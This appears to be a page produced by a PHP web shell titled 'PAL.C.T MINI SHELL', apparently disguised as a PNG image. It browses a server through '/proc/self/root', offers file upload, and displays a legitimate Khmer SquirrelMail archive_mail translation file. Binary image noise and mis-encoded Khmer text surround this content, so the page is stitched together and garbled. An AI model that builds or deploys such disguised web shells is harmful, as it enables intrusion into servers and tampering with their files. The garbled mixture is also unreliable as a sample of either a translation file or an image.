‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/archive_mail.po

# Khmer (km) archive_mail Translation
# Eng Vannak <evannak@khmeros.info>, 2008.
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2009.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: archive_mail\n"
"POT-Creation-Date: 2004-07-31 11:09+0300\n"
"PO-Revision-Date: 2009-04-24 09:21+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

#: ../includes/archive_mail_bottom.php:28
msgid "Archive disabled (zlib not supported)"
msgstr "បិទ​បáŸážŽáŸ’ណសារ (មិន​គាំទ្រ zlib)"

#: ../includes/archive_mail.php:27 ../includes/archive_mail_bottom.php:32
msgid "Archive"
msgstr "áž”áŸážŽáŸ’ណសារ"

#: ../includes/display_inside.php:39
msgid "Format Emails as"
msgstr "ធ្វើ​ទ្រង់ទ្រាយ​អ៊ីមែល​ជា"

#: ../includes/display_inside.php:45
msgid "EML Messages"
msgstr "សារ EML"

#: ../includes/display_inside.php:50
msgid "Mbox"
msgstr "ប្រអប់​សំបុážáŸ’ážš"

#: ../includes/display_inside.php:55
msgid "Maildir"
msgstr "ážážâ€‹ážŸáž¶ážš"

#: ../includes/display_inside.php:65
msgid "Separate Entities"
msgstr "បំបែក​ធាážáž»"

#: ../includes/display_inside.php:70
msgid "Save Attachments"
msgstr "រក្សា​ទុក​ឯកសារ​ភ្ជាប់"

#: ../includes/display_inside.php:74
msgid "Yes"
msgstr "បាទ/ចាស"

#: ../includes/display_inside.php:77
msgid "No"
msgstr "áž‘áŸ"

#: ../includes/display_inside.php:80 ../includes/display_inside.php:188
msgid "Save"
msgstr "រក្សា​ទុក"

#: ../includes/display_inside.php:87
msgid "Separate Entities Options"
msgstr "ជម្រើស​បំបែក​ធាážáž»"

#: ../includes/display_inside.php:90
msgid "EML Messages Options"
msgstr "ជម្រើស​សារ EML"

#: ../includes/display_inside.php:93
msgid "Mbox Options"
msgstr "ជម្រើស​ប្រអប់​សំបុážáŸ’ážš"

#: ../includes/display_inside.php:96
msgid "Maildir Options"
msgstr "ជម្រើស​ážážâ€‹ážŸáŸ†áž”áž»ážáŸ’ážš"

#: ../includes/display_inside.php:102
msgid "Compress Type"
msgstr "ប្រភáŸáž‘​បង្ហាប់"

#: ../includes/display_inside.php:108
msgid "Tar"
msgstr "Tar"

#: ../includes/display_inside.php:113
msgid "Tar.GZ"
msgstr "Tar.GZ"

#: ../includes/display_inside.php:119
msgid "Text"
msgstr "អážáŸ’ážáž”áž‘"

#: ../includes/display_inside.php:125
msgid "Zip"
msgstr "Zip"

#: ../includes/display_inside.php:131
msgid "Email Filename"
msgstr "ឈ្មោះ​ឯកសារ​អ៊ីមែល"

#: ../includes/display_inside.php:137
msgid "Numbered"
msgstr "áž›áŸáž"

#: ../includes/display_inside.php:142 ../includes/display_inside.php:147
#: ../includes/display_inside.php:152 ../includes/display_inside.php:162
#: ../includes/display_inside.php:182 ../includes/formats/separate.php:105
#: ../includes/formats/separate.php:110 ../includes/formats/separate.php:118
msgid "Date"
msgstr "កាល​បរិច្ឆáŸáž‘"

#: ../includes/display_inside.php:147 ../includes/display_inside.php:157
#: ../includes/display_inside.php:162 ../includes/display_inside.php:167
#: ../includes/display_inside.php:177
msgid "Email"
msgstr "អ៊ីមែល"

#: ../includes/display_inside.php:152 ../includes/display_inside.php:167
#: ../includes/display_inside.php:172 ../includes/display_inside.php:177
#: ../includes/display_inside.php:182 ../includes/formats/separate.php:102
#: ../includes/formats/separate.php:107 ../includes/formats/separate.php:112
msgid "Subject"
msgstr "ប្រធាន​បទ"

#: ../includes/display_options.php:23
msgid "Archive Settings"
msgstr "ការ​កំណážáŸ‹â€‹áž”áŸážŽáŸ’ណសារ"

#: ../includes/display_options.php:25
msgid "These settings allow you to modify the way you archive messages."
msgstr "ការ​កំណážáŸ‹â€‹áž“áŸáŸ‡â€‹áž¢áž“ុញ្ញាážâ€‹áž²áŸ’យ​អ្នក​កែប្រែ វិធី​ដែល​អ្នក​ធ្វើ​បáŸážŽáŸ’ណសារ​សារ​របស់​អ្នក ។"

#: ../includes/formats/separate.php:25
msgid "m/d/Y g:i a"
msgstr "m/d/Y g:i a"

#: ../includes/formats/separate.php:42
msgid "No Subject"
msgstr "គ្មាន​ប្រធាន​បទ"

#: ../includes/formats/separate.php:103 ../includes/formats/separate.php:108
#: ../includes/formats/separate.php:114
msgid "From"
msgstr "ពី"

#: ../includes/formats/separate.php:104 ../includes/formats/separate.php:109
#: ../includes/formats/separate.php:116
msgid "To"
msgstr "ទៅ"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚